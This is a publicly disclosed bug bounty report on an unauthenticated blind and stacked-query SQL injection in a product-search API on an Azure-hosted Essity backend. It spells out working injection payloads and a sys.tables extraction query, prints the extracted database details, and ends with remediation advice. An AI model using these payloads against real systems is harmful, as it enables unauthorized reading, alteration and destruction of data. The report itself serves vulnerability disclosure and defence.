HexBrain

Essity · Report #3778282

Critical SQL Injection WDM API (████████)

Validstatus
criticalseverity
40upvotes
27 Aug 2026disclosed

How it was found

Summary

Hello Team and Hugo,

I found and unauthenticated boolean-based and time-based blind SQL injection in the searchText query parameter of GET /api/WDMProduct, served by the backend that powers ████████ (EcoMed Safety Hub Angular SPA).

The backend is hosted at ████████ and is loaded directly by the in-scope front-end (████████) via XHR (CORS is Access-Control-Allow-Origin: *). Stacked queries are enabled, which means an attacker can read or modify arbitrary data in the backing Microsoft SQL Server database and, depending on the SQL principal's privileges, escalate to OS command execution via xp_cmdshell.

Affected Asset

  • Host: ████████ (Azure App Service, IIS 10.0, ASP.NET)
  • Front-end consuming it (in-scope): https://████████/ ("EcoMed Safety Hub")
  • Endpoint: GET /api/WDMProduct?searchText=...
  • Auth required: NONE
  • Discovery vector: ████████ Angular shell leaks window.baseApiUrl = '████████api' in inline <script>.

Steps To Reproduce

User-Agent used in every request: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/136.0.0.0 Safari/537.36

Step 1 Discover the backend

████████ returns an Angular shell containing:

<script>
  window.baseApiUrl = '████████api';
  ...
</script>

The backend host also exposes Swagger UI at the root (/index.html) and the spec at /swagger/v2/swagger.json (title WDM Api 2, 3 documented GET paths).

Step 2 Baseline (no rows)

GET /api/WDMProduct?searchText=test

Response: HTTP 200, 29 bytes, {"products":[],"labels":null}

Step 3 Boolean true (full row dump)

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D1--

(Decoded: searchText=zzz') OR 1=1--) Response: HTTP 200, 22,911 bytes, 179 product rows

Step 4 Boolean false (control)

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D2--

Response: HTTP 200, 29 bytes, 0 rows

Steps 3 and 4 together prove the injection is what's controlling the result set (identical impossible base term, only difference is 1=1 vs 1=2).

Step 5 SQL Server fingerprint via sys.tables

GET /api/WDMProduct?searchText=zzz%27)%20OR%201%3D2%20OR%20(SELECT%20COUNT(*)%20FROM%20sys.tables)%3E0--

Response: HTTP 200, 22,911 bytes (true branch returns all rows). sys.tables is SQL Server specific, confirming the backend is MSSQL and that arbitrary subqueries execute.

Step 6 Stacked-query time-based (proves DDL/DML reach)

GET /api/WDMProduct?searchText=zzz%27);WAITFOR%20DELAY%20%270:0:6%27--

(Decoded: searchText=zzz');WAITFOR DELAY '0:0:6'--) Response: HTTP 200, 29 bytes, 6.43 seconds elapsed vs ~0.2 s for all other requests. Stacked queries are enabled.

Inferred Backend Query

The injection point and the '-causes-500 / ''-passes / ') opens response all match a parameterless string concat against a LIKE clause, roughly:

SELECT productId, productDescription, productDimension, productLayers
  FROM dbo.WDMProduct
 WHERE (productDescription LIKE '%' + @searchText + '%')
   AND countryCode = ...

The closing ') payload escapes the LIKE literal and the surrounding paren, appends an OR 1=1, then comments the rest.

Data Exfiltration Proof (Boolean-Blind Extraction)

Using a custom boolean-blind extraction script (extract.py), the following was extracted from the database in 1052 requests / 21.4 seconds:

Database metadata:

Database:  ████████
User:      webwm
Host:      ████████
Version:   Microsoft SQL Azure (RTM) - 12.0.2000.8  Apr 14 2026 20:27:12

Table enumeration (sys.tables WHERE is_ms_shipped=0):

Table count: 10
  [1] vw_WDM_searchData
  [2-10] (extraction interrupted by network timeout after 10+ requests/char)

Extraction query used:

SELECT name FROM (
  SELECT ROW_NUMBER() OVER(ORDER BY name) AS rn, name
  FROM sys.tables WHERE is_ms_shipped=0
) t WHERE rn=1

This proves:

  1. The SQL principal (webwm) has READ access to sys.tables (schema enumeration)
  2. The database contains 10 user tables (non-Microsoft-shipped)
  3. At least one table is named vw_WDM_searchData (likely the view backing the API)
  4. The blind extraction technique works reliably (binary search on ASCII values)

Scope Note

████████ is Azure-hosted but is the production backend of ████████ (in-scope per Essity HackerOne wildcard *.essity.com). It is loaded directly by the in-scope front-end via XHR and processes Essity production data. The same vulnerability is reachable through any browser visiting ████████.

Impact

With unauthenticated stacked-query SQL injection an attacker can:

  1. Read every table reachable to the API SQL principal (UNION/blind exfiltration) - This includes potentially sensitive Essity business data beyond the public product catalog.

  2. Modify or delete data (UPDATE, DELETE, DROP) - An attacker can corrupt or destroy production database records.

  3. Enumerate the database server (@@version, SELECT name FROM sys.databases, linked servers) - Full visibility into the SQL Server environment and connected systems.

  4. Achieve Remote Code Execution - If the SQL principal has sysadmin or xp_cmdshell rights, the attacker can execute operating system commands on the SQL host and pivot into the Azure tenant.

  5. Cross-origin exploitation - With Access-Control-Allow-Origin: * on the API, any third-party web page can issue these requests from a victim's browser, enabling watering hole attacks.

The data observed here (waste-disposal product catalog) is public-facing, but the SQL principal almost certainly has access to other tables in the same database. The stacked-query primitive itself represents critical impact regardless of what data is in the current schema.

Suggested Fix

  1. Use parameterized queries / an ORM - Never concatenate searchText into raw SQL.
  2. Disable stacked queries on the SQL connection if the driver supports it.
  3. Apply principle of least privilege - Run the API under a SQL principal with read-only access to only the tables it actually needs.
  4. Restrict CORS - Change Access-Control-Allow-Origin from * to the exact in-scope front-end (https://████████).
  5. Remove Swagger UI from production - The endpoint at /index.html exposes the API specification without authentication.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original